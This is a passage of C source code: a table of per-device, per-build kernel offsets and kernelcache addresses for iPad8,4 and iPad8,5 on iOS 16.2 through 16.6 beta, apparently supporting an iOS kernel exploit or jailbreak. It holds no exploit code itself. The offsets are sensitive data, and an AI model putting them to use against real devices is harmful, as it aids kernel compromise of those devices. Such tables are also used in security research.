+ 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a419ab0,\n        .kernelcache__gPhysBase = 0xfffffff007944288,\n        .kernelcache__gPhysSize = 0xfffffff007944288 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007942440,\n        .kernelcache__perfmon_devices = 0xfffffff00a459530,\n        .kernelcache__perfmon_dev_open = 0xfffffff007f0a434,\n        .kernelcache__ptov_table = 0xfffffff0078f79a0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a458910,\n        .kernelcache__vm_pages = 0xfffffff0078f40f8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078f6950,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a458908,\n        .kernelcache__vn_kqfilter = 0xfffffff007f58c44,\n    },\n\n    // iPad8,4 16.2\n{\n        .kern_version = \"Darwin Kernel Version 22.1.0: Thu Oct  6 19:33:53 PDT 2022; root:xnu-8792.42.7~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20C65\",\n        .device_id = \"iPad8,4\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x530,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2a9150,\n        .kernelcache__gPhysBase = 0xfffffff00784f9d8,\n        .kernelcache__gPhysSize = 0xfffffff00784f9d8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00784dbc0,\n        .kernelcache__perfmon_devices = 0xfffffff00a2e4300,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec279c,\n        .kernelcache__ptov_table = 0xfffffff007803890,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2e3780,\n        .kernelcache__vm_pages = 0xfffffff0078006c8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007802850,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2e3778,\n        .kernelcache__vn_kqfilter = 0xfffffff007f14d00,\n    },\n\n    //16.3\n       {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20D47\",\n        .device_id = \"iPad8,4\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2b9178,\n        .kernelcache__gPhysBase = 0xfffffff007853d48,\n        .kernelcache__gPhysSize = 0xfffffff007853d48 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007851f28,\n        .kernelcache__perfmon_devices = 0xfffffff00a2f4380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec7398,\n        .kernelcache__ptov_table = 0xfffffff007807288,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2f3800,\n        .kernelcache__vm_pages = 0xfffffff0078040c0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806248,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2f37f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f19a20,\n    },\n\n    //16.3.1\n       {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20D67\",\n        .device_id = \"iPad8,4\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2b9178,\n        .kernelcache__gPhysBase = 0xfffffff007853d48,\n        .kernelcache__gPhysSize = 0xfffffff007853d48 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007851f28,\n        .kernelcache__perfmon_devices = 0xfffffff00a2f4380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec7398,\n        .kernelcache__ptov_table = 0xfffffff007807288,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2f3800,\n        .kernelcache__vm_pages = 0xfffffff0078040c0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806248,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2f37f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f19a20,\n    },\n\n    //16.4\n        {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20E246\",\n        .device_id = \"iPad8,4\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a381208,\n        .kernelcache__gPhysBase = 0xfffffff00792ffa0,\n        .kernelcache__gPhysSize = 0xfffffff00792ffa0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792e178,\n        .kernelcache__perfmon_devices = 0xfffffff00a3bf500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ee9a88,\n        .kernelcache__ptov_table = 0xfffffff0078e3160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3be990,\n        .kernelcache__vm_pages = 0xfffffff0078dfea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e2110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3be988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3863c,\n    },\n\n    //16.4.1\n        {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20E252\",\n        .device_id = \"iPad8,4\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a381208,\n        .kernelcache__gPhysBase = 0xfffffff00792ffa0,\n        .kernelcache__gPhysSize = 0xfffffff00792ffa0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792e178,\n        .kernelcache__perfmon_devices = 0xfffffff00a3bf500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ee9a88,\n        .kernelcache__ptov_table = 0xfffffff0078e3160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3be990,\n        .kernelcache__vm_pages = 0xfffffff0078dfea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e2110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3be988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3863c,\n    },\n\n    //16.5\n        {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:51 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20F66\",\n        .device_id = \"iPad8,4\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a389288,\n        .kernelcache__gPhysBase = 0xfffffff0079340e0,\n        .kernelcache__gPhysSize = 0xfffffff0079340e0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0079322b8,\n        .kernelcache__perfmon_devices = 0xfffffff00a3c7500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007eedc8c,\n        .kernelcache__ptov_table = 0xfffffff0078e7160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3c6990,\n        .kernelcache__vm_pages = 0xfffffff0078e3ea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e6110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3c6988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3cad8,\n    },\n\n    //16.6b1\n        {\n        .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:00 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8020\",\n        .build_version = \"20G5026e\",\n        .device_id = \"iPad8,4\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a419ab0,\n        .kernelcache__gPhysBase = 0xfffffff007944288,\n        .kernelcache__gPhysSize = 0xfffffff007944288 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007942440,\n        .kernelcache__perfmon_devices = 0xfffffff00a459530,\n        .kernelcache__perfmon_dev_open = 0xfffffff007f0a434,\n        .kernelcache__ptov_table = 0xfffffff0078f79a0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a458910,\n        .kernelcache__vm_pages = 0xfffffff0078f40f8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078f6950,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a458908,\n        .kernelcache__vn_kqfilter = 0xfffffff007f58c44,\n    },\n\n    // iPad8,5 16.2\n{\n        .kern_version = \"Darwin Kernel Version 22.1.0: Thu Oct  6 19:33:53 PDT 2022; root:xnu-8792.42.7~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20C65\",\n        .device_id = \"iPad8,5\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        